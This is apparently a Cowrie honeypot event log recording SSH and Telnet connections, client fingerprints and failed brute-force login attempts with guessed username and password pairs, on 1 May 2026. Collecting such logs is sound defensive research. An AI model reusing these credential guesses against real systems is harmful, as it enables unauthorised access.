{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:59:31.944126Z","src_ip":"160.251.101.169","session":"e5c9296cb637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"Password","message":"login attempt [amir/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:59:32.572552Z","src_ip":"160.251.101.169","session":"e5c9296cb637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:59:33.741263Z","src_ip":"160.251.101.169","session":"e5c9296cb637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45772,"dst_ip":"10.17.0.5","dst_port":22,"session":"dab08cc47d8e","protocol":"ssh","message":"New connection: 45.148.10.121:45772 (10.17.0.5:22) [session: dab08cc47d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:59:53.996691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:59:54.001298Z","src_ip":"45.148.10.121","session":"dab08cc47d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:59:54.085226Z","src_ip":"45.148.10.121","session":"dab08cc47d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40120,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8ff08e89fd2","protocol":"telnet","message":"New connection: 185.26.126.47:40120 (159.203.135.109:23) [session: a8ff08e89fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:01.128434Z"}
{"eventid":"cowrie.session.closed","duration":13.755641460418701,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:14.883926Z","src_ip":"185.26.126.47","session":"a8ff08e89fd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":51066,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aa2f2427bdb","protocol":"ssh","message":"New connection: 148.230.169.229:51066 (10.17.0.5:22) [session: 9aa2f2427bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:19.870619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:19.875619Z","src_ip":"148.230.169.229","session":"9aa2f2427bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:19.941814Z","src_ip":"148.230.169.229","session":"9aa2f2427bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"password","message":"login attempt [wp-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:20.235516Z","src_ip":"148.230.169.229","session":"9aa2f2427bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:21.303196Z","src_ip":"148.230.169.229","session":"9aa2f2427bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":38652,"dst_ip":"10.17.0.5","dst_port":22,"session":"41e019733998","protocol":"ssh","message":"New connection: 160.251.101.169:38652 (10.17.0.5:22) [session: 41e019733998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:28.913679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:28.918278Z","src_ip":"160.251.101.169","session":"41e019733998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:29.081127Z","src_ip":"160.251.101.169","session":"41e019733998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server","message":"login attempt [user/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:29.755927Z","src_ip":"160.251.101.169","session":"41e019733998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:00:30.922513Z","src_ip":"160.251.101.169","session":"41e019733998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38478,"dst_ip":"10.17.0.5","dst_port":22,"session":"c16020313214","protocol":"ssh","message":"New connection: 2.57.121.25:38478 (10.17.0.5:22) [session: c16020313214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:01:43.470433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:01:43.475094Z","src_ip":"2.57.121.25","session":"c16020313214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:01:43.576606Z","src_ip":"2.57.121.25","session":"c16020313214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"catter","message":"login attempt [user/catter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:01:44.052883Z","src_ip":"2.57.121.25","session":"c16020313214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"camaro1","message":"login attempt [user/camaro1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:01:45.155657Z","src_ip":"2.57.121.25","session":"c16020313214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"calcutta","message":"login attempt [user/calcutta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:01:46.259017Z","src_ip":"2.57.121.25","session":"c16020313214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cadman","message":"login attempt [user/cadman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:01:47.362381Z","src_ip":"2.57.121.25","session":"c16020313214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bushed","message":"login attempt [user/bushed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:01:48.465609Z","src_ip":"2.57.121.25","session":"c16020313214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:01:49.568599Z","src_ip":"2.57.121.25","session":"c16020313214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54428,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab13cdbdd836","protocol":"telnet","message":"New connection: 185.26.126.47:54428 (159.203.135.109:23) [session: ab13cdbdd836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:02:29.826667Z"}
{"eventid":"cowrie.session.closed","duration":11.712897300720215,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:02:41.539435Z","src_ip":"185.26.126.47","session":"ab13cdbdd836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.217.11.228","src_port":58084,"dst_ip":"159.203.135.109","dst_port":23,"session":"564f1952c449","protocol":"telnet","message":"New connection: 124.217.11.228:58084 (159.203.135.109:23) [session: 564f1952c449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:03:31.940071Z"}
{"eventid":"cowrie.session.closed","duration":13.351043224334717,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:03:45.291023Z","src_ip":"124.217.11.228","session":"564f1952c449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.195","src_port":28304,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5f9e2e5de35","protocol":"ssh","message":"New connection: 92.118.39.195:28304 (159.203.135.109:22) [session: c5f9e2e5de35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:03:50.887139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:03:50.891499Z","src_ip":"92.118.39.195","session":"c5f9e2e5de35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:03:50.992286Z","src_ip":"92.118.39.195","session":"c5f9e2e5de35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:03:51.426069Z","src_ip":"92.118.39.195","session":"c5f9e2e5de35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.36.144.212","src_port":35674,"dst_ip":"159.203.135.109","dst_port":23,"session":"c198aff8bd67","protocol":"telnet","message":"New connection: 49.36.144.212:35674 (159.203.135.109:23) [session: c198aff8bd67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:04:53.839073Z"}
{"eventid":"cowrie.session.closed","duration":13.513838291168213,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:05:07.352831Z","src_ip":"49.36.144.212","session":"c198aff8bd67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":42434,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6de431138a3","protocol":"ssh","message":"New connection: 148.230.169.229:42434 (10.17.0.5:22) [session: e6de431138a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:06:26.886223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:06:26.889732Z","src_ip":"148.230.169.229","session":"e6de431138a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:06:26.955070Z","src_ip":"148.230.169.229","session":"e6de431138a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword","message":"login attempt [ubuntu/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:06:27.247061Z","src_ip":"148.230.169.229","session":"e6de431138a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:06:28.316134Z","src_ip":"148.230.169.229","session":"e6de431138a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.11.126.14","src_port":57938,"dst_ip":"159.203.135.109","dst_port":23,"session":"56803ed9f86c","protocol":"telnet","message":"New connection: 66.11.126.14:57938 (159.203.135.109:23) [session: 56803ed9f86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:06:38.542528Z"}
{"eventid":"cowrie.session.closed","duration":30.75122332572937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:07:09.293626Z","src_ip":"66.11.126.14","session":"56803ed9f86c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.11.126.14","src_port":51134,"dst_ip":"159.203.135.109","dst_port":23,"session":"a21534d9b170","protocol":"telnet","message":"New connection: 66.11.126.14:51134 (159.203.135.109:23) [session: a21534d9b170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:07:35.824059Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.11.126.14","src_port":51150,"dst_ip":"159.203.135.109","dst_port":23,"session":"80d6e8d35de8","protocol":"telnet","message":"New connection: 66.11.126.14:51150 (159.203.135.109:23) [session: 80d6e8d35de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:07:38.473147Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.11.126.14","src_port":45214,"dst_ip":"159.203.135.109","dst_port":23,"session":"588449a78b8c","protocol":"telnet","message":"New connection: 66.11.126.14:45214 (159.203.135.109:23) [session: 588449a78b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:07:41.719222Z"}
{"eventid":"cowrie.session.closed","duration":30.272598028182983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:08:06.096531Z","src_ip":"66.11.126.14","session":"a21534d9b170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63330388069153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:08:09.106289Z","src_ip":"66.11.126.14","session":"80d6e8d35de8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493881464004517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:08:12.213013Z","src_ip":"66.11.126.14","session":"588449a78b8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.11.126.14","src_port":53732,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f87ff6d4084","protocol":"telnet","message":"New connection: 66.11.126.14:53732 (159.203.135.109:23) [session: 0f87ff6d4084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:08:48.202343Z"}
{"eventid":"cowrie.session.closed","duration":31.359156370162964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:09:19.561397Z","src_ip":"66.11.126.14","session":"0f87ff6d4084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.11.126.14","src_port":58218,"dst_ip":"159.203.135.109","dst_port":23,"session":"9110193d5497","protocol":"telnet","message":"New connection: 66.11.126.14:58218 (159.203.135.109:23) [session: 9110193d5497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:09:22.306879Z"}
